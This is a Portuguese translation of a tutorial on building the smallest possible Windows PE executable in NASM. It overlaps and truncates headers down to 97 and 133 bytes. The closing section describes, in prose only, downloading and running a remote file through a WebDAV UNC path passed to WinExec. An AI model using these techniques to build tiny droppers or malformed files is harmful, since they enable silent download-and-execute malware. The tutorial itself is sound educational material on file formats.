Tiny PE

Escrito originalmente por Solar: http://www.phreedom.org/solar/code/tinype/
Traduzido com autorização por Fergo: http://www.fergonez.net

Introdução

Navegando pela internet encontrei um artigo muito interessante, demonstrando como criar o menor executável possível para Windows que executa uma determinada ação. Como o artigo era em inglês, escrevi um e-mail para o autor (Solar) solicitando uma autorização para traduzir o artigo para o português. Rapidamente recebi a resposta e felizmente ele autorizou a tradução.

O trabalho foi inspirado pelo desafio “TinyPE” proposto por Gil Dabah. O objetivo do desafio era criar o menor executável possível que baixa um arquivo da internet e o executa. Para este guia foi seguido o exemplo do famoso artigo sobre o menor executável ELF para Linux.

Para este tutorial o autor utilizou o Microsoft Visual Studio 2005 para compilar o aplicativo, originalmente escrito em C. Posteriormente foi necessário “portar” o programa para Assembly, podendo ter um controle total da estrutura do executável (utilizando o NASM para compilar).

Novamente reforço que não sou o autor deste guia, apenas o traduzi (com a devida autorização do autor).

Site oficial do autor: http://www.phreedom.org
Link para o artigo original: http://www.phreedom.org/solar/code/tinype/

Recomendo a leitura do meu artigo sobre o formato dos arquivos executáveis, pois é importante para o entendimento deste artigo:
http://www.fergonez.net/files/tut_win32_exe.pdf

Sumário

Para quem estiver muito ocupado para ler o artigo inteiro, aqui vai um pequeno sumário dos resultados:

Os resultados acima mostram os menores executáveis possíveis na estrutura de um arquivo PE (.exe), sendo que não é possível ir mais longe devido as limitações do arquivo. Tome isso como um desafio, caso queira.

Os arquivos utilizados no tutorial estão disponíveis para download, basta clicar aqui. Eles estão separados em pastas, seguido pelo tamanho do executável gerado.

O menor executável possível

Nossa primeira tarefa é montar o menor .exe que possa ser carregado e executado pelo Windows. Começaremos com um simples programa em C.

Compilando um simples programa em C

int main()
{
    return 42;
}

Nós vamos compilar e linkar o aplicativo através do VisualStudio 2005

cl /nologo /c tiny.c
link /nologo tiny.obj  

O tamanho final do executável compilado é de 45056 bytes, o que é claramente inaceitável para algo tão simples.

tiny.c | tiny.exe | dumpbin | Makefile

Removendo as bibliotecas de execução do C

Uma grande parte do binário consiste da biblioteca de execução do C. Se nós linkarmos o mesmo programa com a opção /NODEFAULTLIB, nos obteremos um arquivo muito menor. Também removemos a janela do prompt do programa setando o subsistema para Win32 GUI.

cl /nologo /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj
A opção /O1 no compilador otimiza o código para o menor tamanho. O disassembly da seção .text mostra que a função Main() foi otimizada para apenas 4 bytes.
00401000: 6A 2A              push        2Ah
00401002: 58                 pop         eax
00401003: C3                 ret

O tamanho do executável agora é de apenas 1024 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Diminuindo o alinhamento do arquivo

Se nós olharmos para o dump do arquivo de 1024 bytes, veremos que o arquivo está alinhado para 512 bytes. O conteúdo da seção .text (onde fica o código) começa no offset 0x200. O espaço entre o cabeçalho e esta seção de código é preenchida com zeros.
A especificação oficial dos arquivos PE (Portable Executable, os arquivos .exe) afirma que o menor alinhamento possível é de 512 bytes, mas o linker da Microsoft é capaz de gerar arquivos PE com um alinhamento menor. O Windows Loader ignora alinhamento inválido e é capaz de corrigir e executar o arquivo durante o carregamento do mesmo.

cl /c /O1 tiny.c
link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj

O tamanho do binário compilado agora é de apenas 468 bytes.

tiny.c | tiny.exe | dumpbin | Makefile

Movendo para Assembly e removendo o cabeçalho DOS

Para diminuir o arquivo mais ainda, precisamos ter a capacidade de editar todos os campos que compõe o arquivo PE. Vamos fazer o disassembly do nosso programa em C e converte-lo para código assembly que pode ser posteriormente compilado com o NASM

nasm -f bin -o tiny.exe tiny.asm

A única mudança que faremos é a remoção do cabeçalho DOS que exibe a mensagem “Este programa não pode ser executado em modo DOS”. Os arquivos PE continuam precisando do cabeçalho MZ (cabeçalho DOS), mas apenas 2 de seus campos são realmente necessários, o "e_magic" e "e_lfanew". Podemos preencher todo o resto do cabeçalho MZ com zeros. Similarmente, há vários outros campos desprezíveis no cabeçalho do PE que podem ser modificados sem comprometer o aplicativo. No código abaixo eles estão marcados em vermelho.

Para uma descrição detalhada do formato dos arquivos EXE, veja a especificação oficial da Microsoft e ao artigo de Matt Pietrek, Parte 1 e Parte 2.

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"                       ; e_magic
    dw 0                          ; e_cblp UNUSED

    dw 0                          ; e_cp UNUSED
    dw 0                          ; e_crlc UNUSED
    dw 0                          ; e_cparhdr UNUSED
    dw 0                          ; e_minalloc UNUSED
    dw 0                          ; e_maxalloc UNUSED
    dw 0                          ; e_ss UNUSED

    dw 0                          ; e_sp UNUSED
    dw 0                          ; e_csum UNUSED
    dw 0                          ; e_ip UNUSED
    dw 0                          ; e_cs UNUSED
    dw 0                          ; e_lsarlc UNUSED
    dw 0                          ; e_ovno UNUSED

    times 4 dw 0                  ; e_res UNUSED
    dw 0                          ; e_oemid UNUSED
    dw 0                          ; e_oeminfo UNUSED
    times 10 dw 0                 ; e_res2 UNUSED
    dd pesig                      ; e_lfanew

;
; PE signature
;

pesig:
    dd "PE"

;
; PE header
;

pehdr:
    dw 0x014C                     ; Machine (Intel 386)
    dw 1                          ; NumberOfSections
    dd 0x4545BE5D                 ; TimeDateStamp UNUSED

    dd 0                          ; PointerToSymbolTable UNUSED
    dd 0                          ; NumberOfSymbols UNUSED
    dw opthdrsize                 ; SizeOfOptionalHeader
    dw 0x103                      ; Characteristics (no relocations, executable, 32 bit)

;
; PE optional header
;

filealign equ 1
sectalign equ 1

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B                      ; Magic (PE32)
    db 8                          ; MajorLinkerVersion UNUSED
    db 0                          ; MinorLinkerVersion UNUSED
    dd round(codesize, filealign) ; SizeOfCode UNUSED

    dd 0                          ; SizeOfInitializedData UNUSED
    dd 0                          ; SizeOfUninitializedData UNUSED
    dd start                      ; AddressOfEntryPoint
    dd code                       ; BaseOfCode UNUSED
    dd round(filesize, sectalign) ; BaseOfData UNUSED
    dd 0x400000                   ; ImageBase
    dd sectalign                  ; SectionAlignment
    dd filealign                  ; FileAlignment
    dw 4                          ; MajorOperatingSystemVersion UNUSED

    dw 0                          ; MinorOperatingSystemVersion UNUSED
    dw 0                          ; MajorImageVersion UNUSED
    dw 0                          ; MinorImageVersion UNUSED
    dw 4                          ; MajorSubsystemVersion
    dw 0                          ; MinorSubsystemVersion UNUSED
    dd 0                          ; Win32VersionValue UNUSED

    dd round(filesize, sectalign) ; SizeOfImage
    dd round(hdrsize, filealign)  ; SizeOfHeaders
    dd 0                          ; CheckSum UNUSED
    dw 2                          ; Subsystem (Win32 GUI)
    dw 0x400                      ; DllCharacteristics UNUSED
    dd 0x100000                   ; SizeOfStackReserve UNUSED
    dd 0x1000                     ; SizeOfStackCommit
    dd 0x100000                   ; SizeOfHeapReserve
    dd 0x1000                     ; SizeOfHeapCommit UNUSED

    dd 0                          ; LoaderFlags UNUSED
    dd 16                         ; NumberOfRvaAndSizes UNUSED

;
; Data directories
;

    times 16 dd 0, 0

opthdrsize equ $ - opthdr

;
; PE code section
;

    db ".text", 0, 0, 0           ; Name
    dd codesize                   ; VirtualSize
    dd round(hdrsize, sectalign)  ; VirtualAddress
    dd round(codesize, filealign) ; SizeOfRawData
    dd code                       ; PointerToRawData
    dd 0                          ; PointerToRelocations UNUSED
    dd 0                          ; PointerToLinenumbers UNUSED
    dw 0                          ; NumberOfRelocations UNUSED

    dw 0                          ; NumberOfLinenumbers UNUSED
    dd 0x60000020                 ; Characteristics (code, execute, read) UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

code:

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - code

filesize equ $ - $$

Para descobrir quais campos são utilizados e que podem ser livremente modificados nós usamos um asm fuzzer escrito em Ruby. Ele faz uma iteração em todos os campos do cabeçalho e substitui esses campos por valores randômicos. Se o aplicativo resultante travar, podemos concluir que aquele campo é utilizado e não pode ser modificado.

O tamanho do arquivo compilado agora é de 356 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Quebrando o cabeçalho MZ

O campo "e_lfanew" no cabeçalho MZ contém o offset do cabeçalho PE a partir do começo do arquivo. Normalmente o cabeçalho PE começa logo após o cabeçalho MZ e do trecho referente ao DOS stub, mas se nós setarmos o "e_lfanew" para um valor menor que 0x40 (que é o valor normal para o início do cabeçalho PE), o cabeçalho PE vai começar dentro do cabeçalho MZ. Isso nos permite mesclar alguns dados dos cabeçalhos MZ e PE e produzir um arquivo menor.

O cabeçalho PE não pode começar no offset 0, pois nós ainda precisamos que os dois primeiros bytes do arquivo correspondam a string “MZ”. De acordo com a especificação do formato do PE, o cabeçalho precisa estar alinhado em um limite de 8 bytes, mas o Windows Loader requer apenas um alinhamento de 4 bytes. Isso significa que o menor valor possível para o e_lfanew é 4.

Se o cabeçalho PE começar no offset 4, boa parte dele irá sobre-escrever os campos não utilizados no cabeçalho MZ. O único campo que devemos tomar cuidado é o "e_lfanew", que se encontra no mesmo offset do campo "SectionAlignment" (que iria sobre-escrever o "e_lfanew"). Como o 'e_lfanew" deve possuir o valor 4, devemos setar o "SectionAligment" para 4 também. A especificação diz que se o alinhamento da seção for menor que o tamanho de paginação, o alinhamento deverá ter o mesmo valor do tamanho da paginação, então temos que setar tanto o "SectionAlignment" (já foi configurado) e o "FileAlignment" para 4. Felizmente a seção de dados no arquivo PE já está alinhada a um limite de 4 bytes, então alterar o alinhamento do arquivo de 1 para 4 não acarreta num aumento do tamanho do arquivo.

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 1          ; e_minalloc UNUSED         ; NumberOfSections

    dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED
    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw opthdrsize ; e_lsarlc UNUSED           ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED

    dd round(codesize, filealign)             ; SizeOfCode UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd 0          ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED
    dd start                                  ; AddressOfEntryPoint
    dd code                                   ; BaseOfCode UNUSED
    dd round(filesize, sectalign)             ; BaseOfData UNUSED

    dd 0x400000                               ; ImageBase
    dd sectalign  ; e_lfanew                  ; SectionAlignment

A quebra do cabeçalho PE reduziu o tamanho do binário para 296 bytes.

tiny.asm | tiny.exe | dumpbin | Makefile

Removendo o diretório de dados

O diretório de dados no final do cabeçalho opcional do PE normalmente contém ponteiros para as tabelas de importação e exportação, informações de debug, relocações e outras informações específicas do SO. Nosso binário não usa nenhuma dessas características e o diretório de dados está vazio. Se nós pudermos remover o diretório de dados, economizaremos uma boa quantidade de espaço.

A especificação diz que o número de diretório de dados é especificado no campo "NumberOfRvaAndSizes" do cabeçalho e o tamanho do cabeçalho PE opcional varia. Se setarmos o campo "NumberOfRvaAndSizes" para 0 e diminuir o "SizeOfOptionalHeader", conseguiremos remover o diretório de dados do arquivo.

    dd 0                                      ; NumberOfRvaAndSizes

A maioria das funções que lê o diretório de dados checa se o "NumberOfRvaAndSize" é grande o suficiente para evitar o acesso a regiões restritas de memória. A única exceção é o diretório de Debug no WindowsXP. Se o tamanho do diretório de Debug não for 0, independentemente do valor do "NumberOfRvaAndSizes", o Windows Loader irá travar com uma violação de acesso no "ntdll!LdrpCheckForSecuROMImage". Precisamos garantir que o valor DWORD no offset 0x94 do início do cabeçalho PE opcional será sempre 0. No nosso aplicativo este endereço fica fora do espaço de memória mapeada e é zerado automaticamente pelo sistema operacional.

O tamanho do nosso binário agora é de apenas 168 bytes, uma melhora bem significativa.

tiny.asm | tiny.exe | dumpbin | Makefile

Quebrando o cabeçalho PE

O Windows Loader espera encontra o cabeçalho da seção PE logo após o cabeçalho opcional. Ele calcula o endereço do primeiro cabeçalho da seção somando o valor do "SizeOfOptionalHeader" com o começo da região opcional. No entanto, o código que acessa o campo do cabeçalho opcional nunca checa pelo seu tamanho. Nós podemos configurar o "SizeOfOptionalHeader" para um valor menor do que seu tamanho real e mover a seção PE para dentro do espaço não utilizado pelo cabeçalho opcional. Isso é mostrado no código abaixo:

    dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED
    db 0                                      ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
    dd round(codesize, filealign)             ; SizeOfCode UNUSED                  ; Name UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED     ; VirtualSize
    dd start                                  ; AddressOfEntryPoint                ; VirtualAddress
    dd codesize                               ; BaseOfCode UNUSED                  ; SizeOfRawData
    dd start                                  ; BaseOfData UNUSED                  ; PointerToRawData
    dd 0x400000                               ; ImageBase                          ; PointerToRelocations UNUSED
    dd sectalign  ; e_lfanew                  ; SectionAlignment                   ; PointerToLinenumbers UNUSED
    dd filealign                              ; FileAlignment                      ; NumberOfRelocations, NumberOfLinenumbers UNUSED
    dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
    dw 0                                      ; MinorOperatingSystemVersion UNUSED
    dw 0                                      ; MajorImageVersion UNUSED

    dw 0                                      ; MinorImageVersion UNUSED
    dw 4                                      ; MajorSubsystemVersion
    dw 0                                      ; MinorSubsystemVersion UNUSED
    dd 0                                      ; Win32VersionValue UNUSED
    dd round(filesize, sectalign)             ; SizeOfImage
    dd round(hdrsize, filealign)              ; SizeOfHeaders
    dd 0                                      ; CheckSum UNUSED
    dw 2                                      ; Subsystem (Win32 GUI)

    dw 0x400                                  ; DllCharacteristics UNUSED
    dd 0x100000                               ; SizeOfStackReserve
    dd 0x1000                                 ; SizeOfStackCommit
    dd 0x100000                               ; SizeOfHeapReserve
    dd 0x1000                                 ; SizeOfHeapCommit UNUSED
    dd 0                                      ; LoaderFlags UNUSED
    dd 0                                      ; NumberOfRvaAndSizes UNUSED

hdrsize equ $ - $$

;
; PE code section data
;

align filealign, db 0

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - start

filesize equ $ - $$

Esse tipo de modificação faz com que o dumpbin trave, mas utilizando o comando !dh do WinDbg nós ainda conseguimos analisar o cabeçalho corretamente. O tamanho do arquivo compilado agora é de apenas 128 bytes.

tiny.asm | tiny.exe | Makefile

O menor arquivo PE possível

O próximo passo é óbvio: nos podemos mover os 4 bytes de código para dentro de um dos campos não utilizados do cabeçalho, como o campo TimeDateStamp. Isso faz com que o final do cabeçalho opcional seja também o final do arquivo PE. Parece que nós não podemos reduzir o arquivo mais do que isso pois o cabeçalho PE começa no menor offset e possui um tamanho fixo. Ele é seguido pelo cabeçalho opcional, que também começa no menor offset possível. todos os outros dados estão contidos e mesclados dentro desses dois cabeçalhos

Apesar dessas limitações, ainda podemos mudar mais uma coisa. O arquivo PE é mapeado em páginas de memória de 4KB. Como o tamanho do nosso arquivo é menor do que 4KB, o resto do espaço na página é preenchido com zeros. Se nós removermos os últimos campos do cabeçalho opcional do arquivo, o final da estrutura será mapeado numa página de leitura contida de uma sequência de zeros. Zero é um valor válido para os sete últimos campos no cabeçalho opcional, então nós podemos remover esses sete campos e deixar que o próprio gerenciamento de memória complete esses valores. Fazendo isso nós salvamos mais 26 bytes.

O último valor WORD no arquivo é o campo "Subsystem", que deve possuir o valor 2. A Intel utiliza o formato de ordenação numérica chamado "little-endian", sendo que o primeiro byte da WORD é preenchido com 2 e o segundo com zero, da seginte forma: 02 00. Na hora da leitura esses valores são invertidos automaticamente pela própria arquitetura Intel, ficando 00 02. Como no arquivo o segundo byte é 00, podemos também eliminar esse último byte deixando pro gerenciamento de memória preenchê-lo.

A estrutura completa e final do arquivo PE é mostrada abaixo:


; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
    dw 1          ; e_minalloc UNUSED         ; NumberOfSections

;   dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED

; Entry point

start:
    push byte 42
    pop eax
    ret

codesize equ $ - start

    dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
    dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
    dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED             ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
    db 8                                      ; MajorLinkerVersion UNUSED

    db 0                                      ; MinorLinkerVersion UNUSED

;
; PE code section
;

sections:
    dd round(codesize, filealign)             ; SizeOfCode UNUSED                  ; Name UNUSED
    dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
    dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED     ; VirtualSize
    dd start                                  ; AddressOfEntryPoint                ; VirtualAddress
    dd codesize                               ; BaseOfCode UNUSED                  ; SizeOfRawData
    dd start                                  ; BaseOfData UNUSED                  ; PointerToRawData
    dd 0x400000                               ; ImageBase                          ; PointerToRelocations UNUSED
    dd sectalign  ; e_lfanew                  ; SectionAlignment                   ; PointerToLinenumbers UNUSED
    dd filealign                              ; FileAlignment                      ; NumberOfRelocations, NumberOfLinenumbers UNUSED
    dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
    dw 0                                      ; MinorOperatingSystemVersion UNUSED

    dw 0                                      ; MajorImageVersion UNUSED
    dw 0                                      ; MinorImageVersion UNUSED
    dw 4                                      ; MajorSubsystemVersion
    dw 0                                      ; MinorSubsystemVersion UNUSED
    dd 0                                      ; Win32VersionValue UNUSED
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage
    dd round(hdrsize, filealign)              ; SizeOfHeaders
    dd 0                                      ; CheckSum UNUSED

    db 2                                      ; Subsystem (Win32 GUI)

hdrsize equ $ - $$

filesize equ $ - $$

Agora nós realmentes atingimos o limite. O último campo no offset 0x94 é o "Subsystem", que deve obrigatóriamente estar preenchido com o valor 2. Nós não podemos remover esse valor, então chegamos no menor arquivo .EXE possível.

O tamanho final é de incríveis 97 bytes. Para comparação, apenas esse parágrafo que você está lendo já possui mais que 97 bytes.

tiny.asm | tiny.exe | Makefile

O menor arquivo PE utilizando importações de DLL

Infelizmente o arquivo de 97 bytes não funciona no Windows 2000. Isso ocorre devido ao fato de o Kernel tentar chamar uma função do Kernel32, mas a KERNEL32.DLL não foi carregada (lembre-se de que nós removemos as tabelas de importação e exportação). Todas as outras versões do Windows carregam essa DLL automaticamente, mas no Windows 2000 nós devemos ter certeza de que a KERNEL32.DLL está listada na tabela de importações do executável. Executar um arquivo PE sem importar DLLs é impossível.

Adicionando uma tabela de importações

A estrutura da tabela de importações é complicada, mas adicionando um único import da KERNEL32 é relativamente simples. Nós precisamos colocar o noma da DLL que queremos importar no campo "Name" e criar dois arrays idênticos da estrutura IMAGE_THUNK_DATA, uma para o "Import Lookup Table" e outra para o "Import Address Table" (IAT). Quando o loader carrega as imports, ele vai ler o número da "Import Lookup Table" e trocar a entrada na IAT pelo endereço da função.

    dd 2                                      ; NumberOfRvaAndSizes

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0


    dd 0                                      ; Export Table UNUSED
    dd 0
    dd idata                                  ; Import Table
    dd idatasize

hdrsize equ $ - $$

; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)

idata:
    dd ilt                                    ; OriginalFirstThunk UNUSED
    dd 0                                      ; TimeDateStamp UNUSED
    dd 0                                      ; ForwarderChain UNUSED
    dd kernel32                               ; Name
    dd iat                                    ; FirstThunk

    ; empty IMAGE_IMPORT_DESCRIPTOR structure

    dd 0                                      ; OriginalFirstThunk UNUSED

    dd 0                                      ; TimeDateStamp UNUSED
    dd 0                                      ; ForwarderChain UNUSED
    dd 0                                      ; Name UNUSED
    dd 0                                      ; FirstThunk

idatasize equ $ - idata

; Import address table (array of IMAGE_THUNK_DATA structures)

iat:
    dd 0x80000001                             ; Import function 1 by ordinal
    dd 0

; Import lookup table (array of IMAGE_THUNK_DATA structures)

ilt:
    dd 0x80000001                             ; Import function 1 by ordinal
    dd 0

kernel32:
    db "KERNEL32.dll", 0

codesize equ $ - start

filesize equ $ - $$

Com uma única import para o KERNEL32.DLL o nosso arquivo PE passou a ter 209 bytes.

tiny.asm | tiny.exe | Makefile

Quebrando a tabela de importações

209 byte é obviamento muito para uma única função importada, então vamos dar uma olhada em como nós podemos deixá-la menor. A primeira coisa que devemos fazer é remover a "Import Lookup Table". Ela é uma cópia da IAT e não parece ser utilizada pelo linker. Isso salva 8 bytes.

A tabela de importações possui 40 bytes, mas apenas três dos seus campos estão sendo utilizados. Isso nos permite quebrar algumas informações da IAT e movê-las para o cabeçalho opcional.

;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
    dd 0x400000                          ; ImageBase                          ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
    dd sectalign  ; e_lfanew             ; SectionAlignment                   ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
    dd filealign                         ; FileAlignment                      ; NumberOfRelocations UNUSED  ; ForwarderChain UNUSED
                                                                              ; NumberOfLinenumbers UNUSED
    dd kernel32                          ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED      ; Name
                                         ; MinorOperatingSystemVersion UNUSED                               ; FirstThunk
    dd iat                               ; MajoirImageVersion UNUSED
                                         ; MinorImageVersion UNUSED
    dw 4                                 ; MajorSubsystemVersion                                            ; OriginalFirstThunk UNUSED
    dw 0                                 ; MinorSubsystemVersion UNUSED
    dd 0                                 ; Win32VersionValue UNUSED                                         ; TimeDateStamp UNUSED
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                    ; ForwarderChain UNUSED
    dd round(hdrsize, filealign)         ; SizeOfHeaders                                                    ; Name UNUSED
    dd 0                                 ; CheckSum UNUSED                                                  ; FirstThunk

idatasize equ $ - idata

    dw 2                                 ; Subsystem (Win32 GUI)
    dw 0                                 ; DllCharacteristics UNUSED

    dd 0                                 ; SizeOfStackReserve
    dd 0                                 ; SizeOfStackCommit
    dd 0                                 ; SizeOfHeapReserve
    dd 0                                 ; SizeOfHeapCommit
    dd 0                                 ; LoaderFlags UNUSED
    dd 2                                 ; NumberOfRvaAndSizes

O tamanho do arquivo agora é de 161 bytes.

tiny.asm | tiny.exe | Makefile

Quebrando a IAT e o nome da DLL

As últimas duas estruturas deixadas fora do cabeçalho PE é a IAT e o nome da DLL importada. Nós podemos quebrar a IAT dentro dos 8 bytes não utilizados do campo "Name" no cabeçalho da seção. O nome da DLL pode ser armazenado nos campos não utilizados no final do cabeçalho opcional e nos 8 bytes do diretório de exportação. Tem espaço suficiente para 15 caracteres junto com o valor nulo no final da string.

O último campo no diretório de dados é o tamanho da tabela de importações, mas o o tamanho não é utilizado pelo loader e pode ser zero. Os últimos três bytes dos ponteiros da tabela de importação também são zero, novamente devido ao formato "little-endian", dessa vez dentro de uma DWORD (4 bytes). Nós podemos remover todos os bytes preenchidos com zeros do final do arquivo, da mesma forma que fizemos no executável de 97 bytes.

O código fonte completo do executável final é mostrado abaixo:

; tiny.asm

BITS 32

;
; MZ header
;
; The only two fields that matter are e_magic and e_lfanew

mzhdr:
    dw "MZ"       ; e_magic
    dw 0          ; e_cblp UNUSED

;
; PE signature
;

pesig:
    dd "PE"       ; e_cp UNUSED          ; PE signature
                  ; e_crlc UNUSED

;
; PE header
;

pehdr:
    dw 0x014C     ; e_cparhdr UNUSED     ; Machine (Intel 386)
    dw 1          ; e_minalloc UNUSED    ; NumberOfSections

;   dd 0xC3582A6A ; e_maxalloc UNUSED    ; TimeDateStamp UNUSED
;                 ; e_ss UNUSED

; Entry point

start:
    push byte 42
    pop eax
    ret


    dd 0          ; e_sp UNUSED          ; PointerToSymbolTable UNUSED
                  ; e_csum UNUSED
    dd 0          ; e_ip UNUSED          ; NumberOfSymbols UNUSED
                  ; e_cs UNUSED
    dw sections-opthdr ; e_lsarlc UNUSED ; SizeOfOptionalHeader
    dw 0x103      ; e_ovno UNUSED        ; Characteristics

;
; PE optional header
;
; The debug directory size at offset 0x94 from here must be 0

filealign equ 4
sectalign equ 4   ; must be 4 because of e_lfanew

%define round(n, r) (((n+(r-1))/r)*r)

opthdr:
    dw 0x10B      ; e_res UNUSED         ; Magic (PE32)
    db 8                                 ; MajorLinkerVersion UNUSED
    db 0                                 ; MinorLinkerVersion UNUSED

;
; PE code section and IAT
;

sections:
iat:
    dd 0x80000001                        ; SizeOfCode UNUSED                  ; Name UNUSED                 ; Import function 1 by ordinal
    dd 0          ; e_oemid UNUSED       ; SizeOfInitializedData UNUSED                                     ; end of IAT
                  ; e_oeminfo UNUSED
    dd codesize   ; e_res2 UNUSED        ; SizeOfUninitializedData UNUSED     ; VirtualSize
    dd start                             ; AddressOfEntryPoint                ; VirtualAddress
    dd codesize                          ; BaseOfCode UNUSED                  ; SizeOfRawData
    dd start                             ; BaseOfData UNUSED                  ; PointerToRawData

;
; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
;

idata:
    dd 0x400000                          ; ImageBase                          ; PointerToRelocations UNUSED ; OriginalFirstThunk UNUSED
    dd sectalign  ; e_lfanew             ; SectionAlignment                   ; PointerToLinenumbers UNUSED ; TimeDateStamp UNUSED
    dd filealign                         ; FileAlignment                      ; NumberOfRelocations UNUSED  ; ForwarderChain UNUSED
                                                                              ; NumberOfLinenumbers UNUSED
    dd kernel32                          ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED      ; Name
                                         ; MinorOperatingSystemVersion UNUSED                               ; FirstThunk
    dd iat                               ; MajoirImageVersion UNUSED
                                         ; MinorImageVersion UNUSED
    dw 4                                 ; MajorSubsystemVersion                                            ; OriginalFirstThunk UNUSED
    dw 0                                 ; MinorSubsystemVersion UNUSED
    dd 0                                 ; Win32VersionValue UNUSED                                         ; TimeDateStamp UNUSED
    dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage                                    ; ForwarderChain UNUSED
    dd round(hdrsize, filealign)         ; SizeOfHeaders                                                    ; Name UNUSED
    dd 0                                 ; CheckSum UNUSED                                                  ; FirstThunk

idatasize equ $ - idata

    dw 2                                 ; Subsystem (Win32 GUI)
    dw 0                                 ; DllCharacteristics UNUSED
    dd 0                                 ; SizeOfStackReserve
    dd 0                                 ; SizeOfStackCommit
    dd 0                                 ; SizeOfHeapReserve
    dd 0                                 ; SizeOfHeapCommit
;    dd 0                                 ; LoaderFlags UNUSED
;    dd 2                                 ; NumberOfRvaAndSizes

;
; The DLL name should be at most 16 bytes, including the null terminator
;

kernel32:
    db "KERNEL32.dll", 0

    times 16-($-kernel32) db 0

;
; Data directories
;
; The debug directory size at offset 0x34 from here must be 0

;    dd 0                                 ; Export Table UNUSED
;    dd 0

    db idata - $$                        ; Import Table

hdrsize equ $ - $$

codesize equ $ - start

filesize equ $ - $$

Esse código nos leva a um arquivo com 133 bytes. Maior do que o anterior, mas funcional em todas as versões do Windows.

tiny.asm | tiny.exe | Makefile

O menor executável capaz de baixar um arquivo da internet

O objetivo do desafio "TinyPE" era de criar o menor executável possível que baixasse um arquivo da internet e o executasse. A técnica padrão para fazer isso era chamar a função "URLDownloadToFileA" e em seguida a "WinExec" para executar o arquivo. Há diversos exemplos de código utilizando essas APIs, mas isso requer o carregamento da dll URLMON.DLL e a chamada de diversas funções, acrescentando mais linhas de código e mais uma dll na tabela de importação, o que seria inviável.

Uma ferramenta muito menos conhecida do Windows XP é a "WebDAV Mini-Redirector". Ela traduz os caminhos CNU (convenção de nomeação universal) utilizados por todos os aplicativos do Windows e tenta acessá-las através do protocolo WebDAV. Isso indica que nós podemos passar um caminho CNU para o WinExec e o redirecionador tentará baixar o arquivo especificado pelo protocolo WebDAV na porta 80.

